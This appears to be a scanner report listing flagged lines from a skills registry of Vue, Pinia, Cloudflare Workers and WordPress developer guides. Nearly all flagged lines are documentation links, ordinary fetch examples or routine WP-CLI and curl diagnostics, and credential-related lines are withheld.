    - [Vue.js List Rendering - v-for with Components](https://vuejs.org/guide/essentials/list.html#v-for-with-a-component)

packages/autoskills/skills-registry/vue-debug-guides/reference/v-for-computed-reverse-sort.md

  • Network accessline 85
    ## Reference - [Vue.js List Rendering - Displaying Filtered/Sorted Results](https://vuejs.org/guide/essentials/list.html#displaying-filtered-sorted-results)
  • Network accessline 86
    - [Vue.js List Rendering - Displaying Filtered/Sorted Results](https://vuejs.org/guide/essentials/list.html#displaying-filtered-sorted-results)

packages/autoskills/skills-registry/vue-debug-guides/reference/v-for-key-attribute.md

  • Network accessline 88
    ## Reference - [Vue.js List Rendering - Key](https://vuejs.org/guide/essentials/list.html#maintaining-state-with-key)
  • Network accessline 89
    - [Vue.js List Rendering - Key](https://vuejs.org/guide/essentials/list.html#maintaining-state-with-key)
  • Network accessline 90
    - [Vue 3 Migration Guide - Key on Template](https://v3-migration.vuejs.org/breaking-changes/key-attribute)

packages/autoskills/skills-registry/vue-debug-guides/reference/v-for-range-starts-at-one.md

  • Network accessline 65
    ## Reference - [Vue.js List Rendering - v-for with a Range](https://vuejs.org/guide/essentials/list.html#v-for-with-a-range)
  • Network accessline 66
    - [Vue.js List Rendering - v-for with a Range](https://vuejs.org/guide/essentials/list.html#v-for-with-a-range)

packages/autoskills/skills-registry/vue-debug-guides/reference/v-if-null-check-order.md

  • Network accessline 169
    ## Reference - [Vue.js Conditional Rendering](https://vuejs.org/guide/essentials/conditional.html)
  • Network accessline 170
    - [Vue.js Conditional Rendering](https://vuejs.org/guide/essentials/conditional.html)
  • Network accessline 171
    - [MDN - Optional Chaining](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining)

packages/autoskills/skills-registry/vue-debug-guides/reference/v-model-ignores-html-attributes.md

  • Network accessline 82
    ## Reference - [Vue.js Form Input Bindings](https://vuejs.org/guide/essentials/forms.html)
  • Network accessline 83
    - [Vue.js Form Input Bindings](https://vuejs.org/guide/essentials/forms.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/v-model-ime-composition.md

  • Network accessline 82
    ## Reference - [Vue.js Form Input Bindings](https://vuejs.org/guide/essentials/forms.html)
  • Network accessline 83
    - [Vue.js Form Input Bindings](https://vuejs.org/guide/essentials/forms.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/v-model-number-modifier-behavior.md

  • Network accessline 123
    ## Reference - [Vue.js Form Input Bindings - .number](https://vuejs.org/guide/essentials/forms.html#number)
  • Network accessline 124
    - [Vue.js Form Input Bindings - .number](https://vuejs.org/guide/essentials/forms.html#number)

packages/autoskills/skills-registry/vue-debug-guides/reference/v-show-template-limitation.md

  • Network accessline 123
    ## Reference - [Vue.js Conditional Rendering - v-show](https://vuejs.org/guide/essentials/conditional.html#v-show)
  • Network accessline 124
    - [Vue.js Conditional Rendering - v-show](https://vuejs.org/guide/essentials/conditional.html#v-show)

packages/autoskills/skills-registry/vue-debug-guides/reference/watch-async-cleanup.md

  • Network accessline 31
    watch(searchQuery, async (query) => {   if (query) {     const response = await fetch(`/api/search?q=${query}`)
  • Network accessline 32
    if (query) {     const response = await fetch(`/api/search?q=${query}`)     results.value = await response.json()  // May overwrite newer results!
  • Network accessline 33
    const response = await fetch(`/api/search?q=${query}`)
  • Network accessline 69
    loading.value = true   try {     const response = await fetch(`/api/search?q=${query}`, {
  • Network accessline 70
    try {     const response = await fetch(`/api/search?q=${query}`, {       signal: controller.signal
  • Network accessline 71
    const response = await fetch(`/api/search?q=${query}`, {
  • Network accessline 97
    fetch(`/api/users/${newId}`, { signal: controller.signal })
  • Network accessline 178
    ## Reference - [Vue.js Watchers - Callback Flush Timing](https://vuejs.org/guide/essentials/watchers.html#callback-flush-timing)
  • Network accessline 179
    - [Vue.js Watchers - Callback Flush Timing](https://vuejs.org/guide/essentials/watchers.html#callback-flush-timing)
  • Network accessline 180
    - [Vue.js Watchers - Side Effect Cleanup](https://vuejs.org/api/reactivity-core.html#watcheffect)

packages/autoskills/skills-registry/vue-debug-guides/reference/watch-async-creation-memory-leak.md

  • Network accessline 49
    // BAD: Watcher in Promise callback fetch('/api/config').then(() => {
  • Network accessline 50
    fetch('/api/config').then(() => {
  • Network accessline 175
    ## Reference - [Vue.js Watchers - Stopping a Watcher](https://vuejs.org/guide/essentials/watchers.html#stopping-a-watcher)
  • Network accessline 176
    - [Vue.js Watchers - Stopping a Watcher](https://vuejs.org/guide/essentials/watchers.html#stopping-a-watcher)

packages/autoskills/skills-registry/vue-debug-guides/reference/watch-deep-same-object-reference.md

  • Network accessline 164
    ## Reference - [Vue.js Watchers - Deep Watchers](https://vuejs.org/guide/essentials/watchers.html#deep-watchers)
  • Network accessline 165
    - [Vue.js Watchers - Deep Watchers](https://vuejs.org/guide/essentials/watchers.html#deep-watchers)

packages/autoskills/skills-registry/vue-debug-guides/reference/watch-flush-timing.md

  • Network accessline 188
    ## Reference - [Vue.js Watchers - Callback Flush Timing](https://vuejs.org/guide/essentials/watchers.html#callback-flush-timing)
  • Network accessline 189
    - [Vue.js Watchers - Callback Flush Timing](https://vuejs.org/guide/essentials/watchers.html#callback-flush-timing)

packages/autoskills/skills-registry/vue-debug-guides/reference/watch-reactive-property-getter.md

  • Network accessline 107
    ## Reference - [Vue.js Watchers - Watch Source Types](https://vuejs.org/guide/essentials/watchers.html#watch-source-types)
  • Network accessline 108
    - [Vue.js Watchers - Watch Source Types](https://vuejs.org/guide/essentials/watchers.html#watch-source-types)

packages/autoskills/skills-registry/vue-debug-guides/reference/watcheffect-async-dependency-tracking.md

  • Network accessline 31
    // BAD: includeDetails is accessed after await - NOT TRACKED! watchEffect(async () => {   const response = await fetch(`/api/users/${userId.value}`)
  • Network accessline 32
    watchEffect(async () => {   const response = await fetch(`/api/users/${userId.value}`)   const data = await response.json()
  • Network accessline 33
    const response = await fetch(`/api/users/${userId.value}`)
  • Network accessline 71
    // Now these are tracked   const response = await fetch(`/api/users/${id}`)
  • Network accessline 72
    const response = await fetch(`/api/users/${id}`)
  • Network accessline 84
    [userId, includeDetails],   async ([id, withDetails]) => {     const response = await fetch(`/api/users/${id}`)
  • Network accessline 85
    async ([id, withDetails]) => {     const response = await fetch(`/api/users/${id}`)     const data = await response.json()
  • Network accessline 86
    const response = await fetch(`/api/users/${id}`)
  • Network accessline 116
    // Now safe to do async work   const response = await fetch(
  • Network accessline 117
    const response = await fetch(
  • Network accessline 171
    ## Reference - [Vue.js Watchers - watchEffect](https://vuejs.org/guide/essentials/watchers.html#watcheffect)
  • Network accessline 172
    - [Vue.js Watchers - watchEffect](https://vuejs.org/guide/essentials/watchers.html#watcheffect)
  • Network accessline 173
    - [Vue.js API - watchEffect](https://vuejs.org/api/reactivity-core.html#watcheffect)

packages/autoskills/skills-registry/vue-debug-guides/reference/watcheffect-flush-post-for-refs.md

  • Network accessline 174
    ## Reference - [Vue.js Watchers - Callback Flush Timing](https://vuejs.org/guide/essentials/watchers.html#callback-flush-timing)
  • Network accessline 175
    - [Vue.js Watchers - Callback Flush Timing](https://vuejs.org/guide/essentials/watchers.html#callback-flush-timing)
  • Network accessline 176
    - [Vue.js watchEffect API](https://vuejs.org/api/reactivity-core.html#watcheffect)

packages/autoskills/skills-registry/vue-pinia-best-practices/reference/pinia-no-active-pinia-error.md

  • Network accessline 71
    export function fetchUser() {   return fetch('/api/user', {
  • Network accessline 72
    return fetch('/api/user', {
  • Network accessline 90
    return fetch('/api/user', {
  • Network accessline 245
    ## Reference - [Vue Land FAQ - No Active Pinia](https://vue-land.github.io/faq/no-active-pinia)
  • Network accessline 246
    - [Vue Land FAQ - No Active Pinia](https://vue-land.github.io/faq/no-active-pinia)
  • Network accessline 247
    - [Pinia - Using a Store Outside of a Component](https://pinia.vuejs.org/core-concepts/outside-component-usage.html)
  • Network accessline 248
    - [Pinia - Getting Started](https://pinia.vuejs.org/getting-started.html)

packages/autoskills/skills-registry/vue-pinia-best-practices/reference/pinia-setup-store-return-all-state.md

  • Network accessline 41
    async function login(credentials) {     const response = await fetch('/api/login', {
  • Network accessline 42
    const response = await fetch('/api/login', {
  • Network accessline 88
    // Actions   async function login(credentials) {     const response = await fetch('/api/login', {
  • Network accessline 89
    async function login(credentials) {     const response = await fetch('/api/login', {       method: 'POST',
  • Network accessline 90
    const response = await fetch('/api/login', {
  • Network accessline 224
    ## Reference - [Pinia - Setup Stores](https://pinia.vuejs.org/core-concepts/#setup-stores)
  • Network accessline 225
    - [Pinia - Setup Stores](https://pinia.vuejs.org/core-concepts/#setup-stores)
  • Network accessline 226
    - [Pinia - SSR](https://pinia.vuejs.org/ssr/)
  • Network accessline 227
    - [Mastering Pinia - Common Mistakes](https://masteringpinia.com/blog/top-5-mistakes-to-avoid-when-using-pinia)

packages/autoskills/skills-registry/vue-pinia-best-practices/reference/pinia-store-destructuring-breaks-reactivity.md

  • Network accessline 191
    ## Reference - [Pinia - Destructuring from a Store](https://pinia.vuejs.org/core-concepts/#destructuring-from-a-store)
  • Network accessline 192
    - [Pinia - Destructuring from a Store](https://pinia.vuejs.org/core-concepts/#destructuring-from-a-store)
  • Network accessline 193
    - [Pinia API - storeToRefs](https://pinia.vuejs.org/api/modules/pinia.html#storetorefs)

packages/autoskills/skills-registry/vue-pinia-best-practices/reference/state-url-for-ephemeral-filters.md

  • Network accessline 235
    ## Reference - [VueUse - useRouteQuery](https://vueuse.org/router/useRouteQuery/)
  • Network accessline 236
    - [VueUse - useRouteQuery](https://vueuse.org/router/useRouteQuery/)
  • Network accessline 237
    - [Vue Router - Query Parameters](https://router.vuejs.org/guide/essentials/passing-props.html#passing-props-to-route-components)
  • Network accessline 238
    - [Mastering Pinia - URL State](https://masteringpinia.com/blog/top-5-mistakes-to-avoid-when-using-pinia)

packages/autoskills/skills-registry/vue-pinia-best-practices/reference/state-use-pinia-for-large-apps.md

  • Network accessline 259
    ## Reference - [Vue.js - State Management](https://vuejs.org/guide/scaling-up/state-management.html)
  • Network accessline 260
    - [Vue.js - State Management](https://vuejs.org/guide/scaling-up/state-management.html)
  • Network accessline 261
    - [Pinia Documentation](https://pinia.vuejs.org/)
  • Network accessline 262
    - [Pinia vs Vuex](https://pinia.vuejs.org/introduction.html#comparison-with-vuex)

packages/autoskills/skills-registry/vue-pinia-best-practices/reference/store-method-binding-parentheses.md

  • Network accessline 189
    ## Reference - [Vue.js State Management - Tip on Method Binding](https://vuejs.org/guide/scaling-up/state-management.html#simple-state-management-with-reactivity-api)
  • Network accessline 190
    - [Vue.js State Management - Tip on Method Binding](https://vuejs.org/guide/scaling-up/state-management.html#simple-state-management-with-reactivity-api)
  • Network accessline 191
    - [MDN - this in JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this)

packages/autoskills/skills-registry/vue/SKILL.md

  • Network accessline 5
    author: Anthony Fu   version: "2026.9.25"   source: Generated from https://github.com/vuejs/docs, scripts at https://github.com/antfu/skills
  • Network accessline 6
    version: "2026.9.25"   source: Generated from https://github.com/vuejs/docs, scripts at https://github.com/antfu/skills ---
  • Network accessline 7
    source: Generated from https://github.com/vuejs/docs, scripts at https://github.com/antfu/skills

packages/autoskills/skills-registry/vue/references/advanced-patterns.md

  • Network accessline 163
    <!-- AsyncComponent.vue --> <script setup lang="ts"> const data = await fetch('/api/data').then(r => r.json())
  • Network accessline 164
    <script setup lang="ts"> const data = await fetch('/api/data').then(r => r.json()) </script>
  • Network accessline 165
    const data = await fetch('/api/data').then(r => r.json())
  • Network accessline 317
    <!-- Source references: - https://vuejs.org/api/built-in-components.html
  • Network accessline 318
    Source references: - https://vuejs.org/api/built-in-components.html - https://vuejs.org/guide/built-ins/transition.html
  • Network accessline 319
    - https://vuejs.org/api/built-in-components.html
  • Network accessline 320
    - https://vuejs.org/guide/built-ins/transition.html
  • Network accessline 321
    - https://vuejs.org/guide/built-ins/teleport.html
  • Network accessline 322
    - https://vuejs.org/guide/built-ins/suspense.html
  • Network accessline 323
    - https://vuejs.org/guide/built-ins/keep-alive.html
  • Network accessline 324
    - https://vuejs.org/api/built-in-directives.html
  • Network accessline 325
    - https://vuejs.org/guide/reusability/custom-directives.html

packages/autoskills/skills-registry/vue/references/core-new-apis.md

  • Network accessline 117
    const res = await fetch(`/api/${id.value}`, { signal: controller.signal })
  • Network accessline 240
    try {       const res = await fetch(toValue(url))
  • Network accessline 241
    const res = await fetch(toValue(url))
  • Network accessline 269
    <!-- Source references: - https://vuejs.org/api/reactivity-core.html
  • Network accessline 270
    Source references: - https://vuejs.org/api/reactivity-core.html - https://vuejs.org/api/reactivity-advanced.html
  • Network accessline 271
    - https://vuejs.org/api/reactivity-core.html
  • Network accessline 272
    - https://vuejs.org/api/reactivity-advanced.html
  • Network accessline 273
    - https://vuejs.org/api/composition-api-lifecycle.html
  • Network accessline 274
    - https://vuejs.org/guide/reusability/composables.html

packages/autoskills/skills-registry/vue/references/script-setup-macros.md

  • Network accessline 201
    <script setup lang="ts"> const data = await fetch('/api/data').then(r => r.json())
  • Network accessline 202
    const data = await fetch('/api/data').then(r => r.json())
  • Network accessline 206
    <!-- Source references: - https://vuejs.org/api/sfc-script-setup.html
  • Network accessline 207
    Source references: - https://vuejs.org/api/sfc-script-setup.html -->
  • Network accessline 208
    - https://vuejs.org/api/sfc-script-setup.html

packages/autoskills/skills-registry/web-perf/SKILL.md

  • Network accessline 12
    | Source | How to retrieve | Use for | |--------|----------------|---------| | web.dev | `https://web.dev/articles/vitals` | Core Web Vitals thresholds, definitions |
  • Network accessline 13
    |--------|----------------|---------| | web.dev | `https://web.dev/articles/vitals` | Core Web Vitals thresholds, definitions | | Chrome DevTools docs | `https://developer.chrome.com/docs/devtools/performance` | Tooling APIs, trace analysis
  • Network accessline 14
    | web.dev | `https://web.dev/articles/vitals` | Core Web Vitals thresholds, definitions |
  • Network accessline 15
    | Chrome DevTools docs | `https://developer.chrome.com/docs/devtools/performance` | Tooling APIs, trace analysis |
  • Network accessline 16
    | Lighthouse scoring | `https://developer.chrome.com/docs/lighthouse/performance/performance-scoring` | Score weights, metric thresholds |
  • Network accessline 22
    If the user wants Chrome DevTools MCP setup, consult its [installation guide](https://github.com/ChromeDevTools/chrome-devtools-mcp#quick-start) and use the latest package version. Only change MCP configuration when setup is within the user

packages/autoskills/skills-registry/workers-best-practices/SKILL.md

  • Network accessline 20
    For missing evidence, consult [Workers best practices](https://developers.cloudflare.com/workers/best-practices/workers-best-practices/index.md) or find the affected product in the [Cloudflare docs directory](https://developers.cloudflare.c
  • Network accessline 28
    Enable [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) and [Traces](https://developers.cloudflare.com/workers/observability/traces/index.md) when creating or preparing a Worker for producti
  • Network accessline 58
    - **Durable Objects**: load the `durable-objects` skill - **Workflows**: see [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md)
  • Network accessline 59
    - **Workflows**: see [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md)

packages/autoskills/skills-registry/workers-best-practices/references/configuration.md

  • Network accessline 3
    Use the project's Wrangler configuration and installed `node_modules/wrangler/config-schema.json` to check fields and binding declarations. Consult current product docs when a field or compatibility requirement needs verification. Doc paths
  • Access to secretsline 43
    [Credential-related source omitted]
  • Network accessline 46
    // Generated by wrangler types — always matches actual config export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 47
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     const value = await env.MY_KV.get("key");
  • Network accessline 48
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 52
    [Credential-related source omitted]
  • Network accessline 70
    [Credential-related source omitted]
  • Network accessline 71
    [Credential-related source omitted]
  • Network accessline 72
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 82
    [Credential-related source omitted]
  • Network accessline 139
    **Retrieve**: [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) and [Traces](https://developers.cloudflare.com/workers/observability/traces/index.md) for current config options.

packages/autoskills/skills-registry/workers-best-practices/references/platform-apis.md

  • Network accessline 21
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 23
    - `fetch()` handlers must return `Promise<Response>`
  • Network accessline 45
    | Boundary | What to check | |----------|---------------| | [Queue messages](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md#queuescontenttype) | Match the body to `contentType`: `json` requires JSON-compatib
  • Network accessline 46
    |----------|---------------| | [Queue messages](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md#queuescontenttype) | Match the body to `contentType`: `json` requires JSON-compatible data, `text` a string, `by
  • Network accessline 47
    | [Queue messages](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md#queuescontenttype) | Match the body to `contentType`: `json` requires JSON-compatible data, `text` a string, `bytes` an `ArrayBuffer`, and `v
  • Network accessline 48
    | [Workflow step results](https://developers.cloudflare.com/workflows/build/workers-api/index.md) | Verify the step result against the documented serialization contract and the project's Workflow types before flagging a value. |
  • Network accessline 49
    | [Durable Object KV storage](https://developers.cloudflare.com/durable-objects/api/sqlite-storage-api/index.md#do-kv-async-put) | `storage.put()` supports structured-clone values; do not apply a blanket ban on `Map` or `Set`. |
  • Network accessline 50
    | [Durable Object SQL](https://developers.cloudflare.com/durable-objects/api/sqlite-storage-api/index.md#exec) | Check bound parameters against the SQL API's supported types. Encode objects explicitly for the intended column representation.
  • Network accessline 51
    | [WebSocket messages](https://developers.cloudflare.com/workers/runtime-apis/websockets/index.md#send) | Use `send()` with a string, `ArrayBuffer`, or `ArrayBufferView`; encode objects, for example with `JSON.stringify()`. |

packages/autoskills/skills-registry/workers-best-practices/references/runtime-patterns.md

  • Network accessline 3
    Consult the sections relevant to the affected behavior. Examples show preferred patterns and common mistakes; **Retrieve** links identify documentation to check when an API, behavior, or limit is uncertain. Doc paths are relative to `https:
  • Network accessline 21
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 22
    const response = await fetch("https://api.example.com/large-dataset");
  • Network accessline 29
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 30
    const urls = ["https://api.example.com/part-1", "https://api.example.com/part-2"];
  • Network accessline 34
    ctx.waitUntil((async () => {     for (const url of urls) {       const response = await fetch(url);
  • Network accessline 35
    for (const url of urls) {       const response = await fetch(url);       if (response.body) {
  • Network accessline 36
    const response = await fetch(url);
  • Network accessline 52
    // Buffers entire body — crashes on large payloads const response = await fetch("https://api.example.com/large-dataset");
  • Network accessline 53
    const response = await fetch("https://api.example.com/large-dataset");
  • Network accessline 62
    **Check**: Workers using Zod for runtime validation depend on [Zod 4.5.0 or later](https://github.com/colinhacks/zod/releases/tag/v4.5.0); older versions retain substantially more heap per schema, so check the installed version when investi
  • Network accessline 71
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 96
    **Check**: no `fetch("https://api.cloudflare.com/client/v4/...")` calls for services available as bindings.
  • Network accessline 105
    // REST API from inside a Worker — unnecessary overhead const response = await fetch(
  • Network accessline 106
    const response = await fetch(
  • Network accessline 107
    "https://api.cloudflare.com/client/v4/accounts/.../r2/buckets/.../objects/my-file",
  • Access to secretsline 108
    [Credential-related source omitted]
  • Network accessline 123
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 136
    **Retrieve**: `/queues/` and `/workflows/` for current APIs. For Workflow-specific rules, see [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md).
  • Network accessline 142
    **Check**: Worker-to-Worker calls use `env.SERVICE_NAME.method()` (RPC) or `env.SERVICE_NAME.fetch()`, not `fetch("https://my-other-worker.example.com/...")`.
  • Network accessline 174
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 195
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 196
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Access to secretsline 201
    [Credential-related source omitted]
  • Network accessline 209
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 210
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 221
    **Check**: async calls in the affected execution path are awaited, returned, or attached to the appropriate lifetime. Use the project's existing floating-promise lint check, such as Oxlint's [typescript/no-floating-promises](https://oxc.rs/
  • Network accessline 224
    // Correct: await when you need the result const response = await fetch("https://api.example.com/process", { method: "POST", body: JSON.stringify(data) });
  • Network accessline 225
    const response = await fetch("https://api.example.com/process", { method: "POST", body: JSON.stringify(data) });
  • Network accessline 227
    // Correct: waitUntil when you don't need the result before responding ctx.waitUntil(fetch("https://api.example.com/webhook", { method: "POST", body: JSON.stringify(data) }));
  • Network accessline 228
    ctx.waitUntil(fetch("https://api.example.com/webhook", { method: "POST", body: JSON.stringify(data) }));
  • Network accessline 233
    // Floating promise — result dropped, error swallowed fetch("https://api.example.com/webhook", { method: "POST", body: JSON.stringify(data) });
  • Network accessline 234
    fetch("https://api.example.com/webhook", { method: "POST", body: JSON.stringify(data) });
  • Network accessline 297
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {

packages/autoskills/skills-registry/wp-block-development/references/attributes-and-serialization.md

  • Network accessline 15
    - https://developer.wordpress.org/block-editor/reference-guides/block-api/block-attributes/

packages/autoskills/skills-registry/wp-block-development/references/block-json.md

  • Network accessline 28
    - Block metadata: https://developer.wordpress.org/block-editor/reference-guides/block-api/block-metadata/
  • Network accessline 29
    - Block API versions: https://developer.wordpress.org/block-editor/reference-guides/block-api/block-api-versions/
  • Network accessline 30
    - Iframe migration guide: https://developer.wordpress.org/block-editor/reference-guides/block-api/block-api-versions/block-migration-for-iframe-editor-compatibility/
  • Network accessline 31
    - Block schema index: https://schemas.wp.org/
  • Network accessline 45
    - Block metadata reference (block.json):   - https://developer.wordpress.org/block-editor/reference-guides/block-api/block-metadata/
  • Network accessline 46
    - https://developer.wordpress.org/block-editor/reference-guides/block-api/block-metadata/
  • Network accessline 48
    - https://schemas.wp.org/trunk/block.json

packages/autoskills/skills-registry/wp-block-development/references/creating-new-blocks.md

  • Network accessline 17
    - https://developer.wordpress.org/block-editor/reference-guides/packages/packages-create-block/
  • Network accessline 33
    - https://developer.wordpress.org/block-editor/reference-guides/packages/packages-create-block/
  • Network accessline 34
    - https://make.wordpress.org/core/2024/03/04/a-first-look-at-the-interactivity-api-in-wordpress-6-5/

packages/autoskills/skills-registry/wp-block-development/references/deprecations.md

  • Network accessline 18
    - https://developer.wordpress.org/block-editor/reference-guides/block-api/block-deprecation/

packages/autoskills/skills-registry/wp-block-development/references/inner-blocks.md

  • Network accessline 7
    - Nested blocks guide: https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/nested-blocks-inner-blocks/
  • Network accessline 8
    - `@wordpress/block-editor` package: https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/
  • Network accessline 9
    - Block supports: https://developer.wordpress.org/block-editor/reference-guides/block-api/block-supports/

packages/autoskills/skills-registry/wp-block-development/references/registration.md

  • Network accessline 19
    - https://developer.wordpress.org/reference/functions/register_block_type_from_metadata/

packages/autoskills/skills-registry/wp-block-development/references/supports-and-wrappers.md

  • Network accessline 16
    - https://developer.wordpress.org/block-editor/reference-guides/block-api/block-supports/
  • Network accessline 17
    - https://developer.wordpress.org/reference/functions/get_block_wrapper_attributes/

packages/autoskills/skills-registry/wp-block-development/references/tooling-and-testing.md

  • Network accessline 7
    - `@wordpress/scripts` for build/lint/test:   - https://developer.wordpress.org/block-editor/reference-guides/packages/packages-scripts/
  • Network accessline 8
    - https://developer.wordpress.org/block-editor/reference-guides/packages/packages-scripts/
  • Network accessline 9
    - `@wordpress/create-block` to scaffold new blocks:   - https://developer.wordpress.org/block-editor/reference-guides/packages/packages-create-block/ - Interactivity API template for `create-block`:
  • Network accessline 10
    - https://developer.wordpress.org/block-editor/reference-guides/packages/packages-create-block/
  • Network accessline 11
    - Interactivity API template for `create-block`:   - https://www.npmjs.com/package/@wordpress/create-block-interactive-template - `@wordpress/env` (wp-env) for local WordPress environments:
  • Network accessline 12
    - https://www.npmjs.com/package/@wordpress/create-block-interactive-template
  • Network accessline 14
    - https://developer.wordpress.org/block-editor/reference-guides/packages/packages-env/

packages/autoskills/skills-registry/wp-block-development/scripts/list_blocks.mjs

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/wp-block-themes/references/creating-new-block-theme.md

  • Network accessline 20
    - Create Block Theme plugin:   - https://wordpress.org/plugins/create-block-theme/
  • Network accessline 21
    - https://wordpress.org/plugins/create-block-theme/
  • Network accessline 22
    - Block theme structure:   - https://developer.wordpress.org/themes/block-themes/theme-structure/ - Required templates:
  • Network accessline 23
    - https://developer.wordpress.org/themes/block-themes/theme-structure/
  • Network accessline 25
    - https://developer.wordpress.org/themes/block-themes/templates-and-template-parts/
  • Network accessline 33
    - Theme Handbook introduction:   - https://developer.wordpress.org/themes/global-settings-and-styles/introduction-to-theme-json/
  • Network accessline 34
    - https://developer.wordpress.org/themes/global-settings-and-styles/introduction-to-theme-json/
  • Network accessline 36
    - https://make.wordpress.org/core/2024/06/19/theme-json-version-3/

packages/autoskills/skills-registry/wp-block-themes/references/patterns.md

  • Network accessline 12
    - https://developer.wordpress.org/themes/patterns/

packages/autoskills/skills-registry/wp-block-themes/references/style-variations.md

  • Network accessline 13
    - https://developer.wordpress.org/themes/global-settings-and-styles/style-variations/

packages/autoskills/skills-registry/wp-block-themes/references/templates-and-parts.md

  • Network accessline 14
    - Templates + parts overview: https://developer.wordpress.org/themes/block-themes/theme-structure/
  • Network accessline 15
    - Template parts details: https://developer.wordpress.org/themes/block-themes/template-parts/

packages/autoskills/skills-registry/wp-block-themes/references/theme-json.md

  • Network accessline 16
    - Theme Handbook: https://developer.wordpress.org/themes/global-settings-and-styles/
  • Network accessline 17
    - Block Editor Handbook (often more current): https://developer.wordpress.org/block-editor/how-to-guides/themes/theme-json/
  • Network accessline 18
    - Theme JSON living reference: https://developer.wordpress.org/block-editor/reference-guides/theme-json-reference/theme-json-living/
  • Network accessline 19
    - Theme JSON version 3 (dev note): https://make.wordpress.org/core/2024/06/19/theme-json-version-3/
  • Network accessline 60
    - Border radius presets: https://make.wordpress.org/core/2025/11/12/theme-json-border-radius-presets-support-in-wordpress-6-9/
  • Network accessline 61
    - Form element styling: https://developer.wordpress.org/news/2025/11/how-wordpress-6-9-gives-forms-a-theme-json-makeover/

packages/autoskills/skills-registry/wp-block-themes/scripts/detect_block_themes.mjs

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/wp-performance/SKILL.md

  • Network accessline 127
    Reference: https://make.wordpress.org/core/2025/11/18/wordpress-6-9-frontend-performance-field-guide/

packages/autoskills/skills-registry/wp-performance/references/autoload-options.md

  • Network accessline 14
    - `wp option list`: https://wpcli.dev/docs/option/list
  • Network accessline 16
    - https://make.wordpress.org/cli/handbook/doctor-default-checks/

packages/autoskills/skills-registry/wp-performance/references/cron.md

  • Network accessline 13
    - WP-CLI cron command package: https://github.com/wp-cli/cron-command

packages/autoskills/skills-registry/wp-performance/references/database.md

  • Network accessline 19
    - Query Monitor plugin: https://wordpress.org/plugins/query-monitor/

packages/autoskills/skills-registry/wp-performance/references/measurement.md

  • Network accessline 6
    - **WP-CLI doctor** (`wp doctor`): best for quick diagnostics (autoload bloat, debug constants, updates). - **Query Monitor via REST**: use authenticated REST requests and inspect `x-qm-*` headers / `qm` envelope data. - **Server-Timing** (
  • Network accessline 7
    - **Query Monitor via REST**: use authenticated REST requests and inspect `x-qm-*` headers / `qm` envelope data. - **Server-Timing** (Performance Lab): inspect `Server-Timing` headers via `curl -I` (when enabled). - **APM/profilers**: New R
  • Network accessline 8
    - **Server-Timing** (Performance Lab): inspect `Server-Timing` headers via `curl -I` (when enabled).
  • Network accessline 19
    - Measuring performance handbook: https://make.wordpress.org/performance/handbook/measuring-performance/
  • Network accessline 20
    - Benchmarking with Server-Timing: https://make.wordpress.org/performance/handbook/measuring-performance/benchmarking-server-timing/

packages/autoskills/skills-registry/wp-performance/references/object-cache.md

  • Network accessline 12
    - https://wpcli.dev/docs/cache
  • Network accessline 16
    - `wp cache flush` can impact all sites in multisite and cause load spikes:   - https://wpcli.dev/docs/cache/flush
  • Network accessline 17
    - https://wpcli.dev/docs/cache/flush

packages/autoskills/skills-registry/wp-performance/references/query-monitor-headless.md

  • Network accessline 13
    - https://wordpress.org/plugins/query-monitor/
  • Network accessline 17
    - https://querymonitor.com/help/configuration-constants/
  • Network accessline 25
    - https://querymonitor.com/wordpress-debugging/rest-api-requests/

packages/autoskills/skills-registry/wp-performance/references/server-timing.md

  • Network accessline 7
    - https://wordpress.org/plugins/performance-lab/
  • Network accessline 11
    - https://make.wordpress.org/performance/handbook/measuring-performance/benchmarking-server-timing/
  • Network accessline 15
    - Enable the relevant module/standalone plugin. - Request a URL and inspect the `Server-Timing` header:   - `curl -sS -D - https://example.test/ -o /dev/null | rg -i \"^server-timing:\"`
  • Network accessline 17
    - `curl -sS -D - https://example.test/ -o /dev/null | rg -i \"^server-timing:\"`

packages/autoskills/skills-registry/wp-performance/references/wp-cli-doctor.md

  • Network accessline 11
    - Default checks: https://make.wordpress.org/cli/handbook/doctor-default-checks/
  • Network accessline 12
    - Customize checks: https://make.wordpress.org/cli/handbook/guides/doctor/doctor-customize-config/

packages/autoskills/skills-registry/wp-performance/references/wp-cli-profile.md

  • Network accessline 13
    - https://wpcli.dev/docs/profile/stage
  • Network accessline 14
    - https://wpcli.dev/docs/profile/hook
  • Network accessline 15
    - https://wpcli.dev/docs/profile/eval
  • Dangerous shell operationline 26
    - `wp profile eval 'do_action(\"init\");' --hook=init`

